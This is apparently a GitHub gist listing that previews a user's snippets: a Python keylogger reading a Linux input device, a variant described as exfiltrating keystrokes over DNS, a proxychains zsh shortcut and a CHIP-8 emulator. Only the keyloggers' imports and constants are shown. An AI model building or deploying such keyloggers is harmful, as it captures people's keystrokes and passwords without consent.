Skip to content

Instantly share code, notes, and snippets.

@OwenChia
OwenChia / keylogger.py
Last active July 3, 2019 08:04
simple keylogger written by python
# -*- coding: utf-8 -*-
import selectors
from ctypes import Structure, c_int32, c_int64, c_uint16
EV_KEY = 1
EV_KEY_VALUE = {0: '\x1b[31mreleased\x1b[0m',
1: '\x1b[32mdepressed\x1b[0m',
2: '\x1b[33mrepeated\x1b[0m'}
EV_KEY_VALUE_UNKNOWN = '\x1b[37;41;5munknown\x1b[0m'
EV_DEVICE = "/dev/input/event5"
@OwenChia
OwenChia / proxy.plugin.zsh
Created July 3, 2019 07:47
proxychains shotcut
# proxychains shotcut
proxy-command-line() {
[[ -z $BUFFER ]] && zle up-history
[[ $BUFFER == sudo\ * ]] && LBUFFER="sudo proxychains ${LBUFFER/sudo /}"
[[ $BUFFER != proxychains\ * ]] && [[ $BUFFER != sudo\ proxychains\ * ]] && LBUFFER="proxychains $LBUFFER"
}
zle -N proxy-command-line
# Defined shortcut keys: [Esc] [Esc] [p]
bindkey "\e\ep" proxy-command-line
@OwenChia
OwenChia / keylogger_dns.py
Created July 8, 2019 15:41
keylogger via dns written by pure python
# -*- coding: utf-8 -*-
import selectors
import socket
from ctypes import BigEndianStructure, Structure, c_int32, c_int64, c_uint16
from enum import IntEnum
from functools import partial
EV_KEY = 1
EV_KEY_VALUE = {0: '\x1b[31mreleased\x1b[0m',
1: '\x1b[32mdepressed\x1b[0m',
@OwenChia
OwenChia / c8emu.c
Last active June 16, 2021 16:43
Chip 8 Emu - C & WASM version - https://owenchia.coding.me/c8emu/
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <emscripten.h>
#define SCREEN_W 64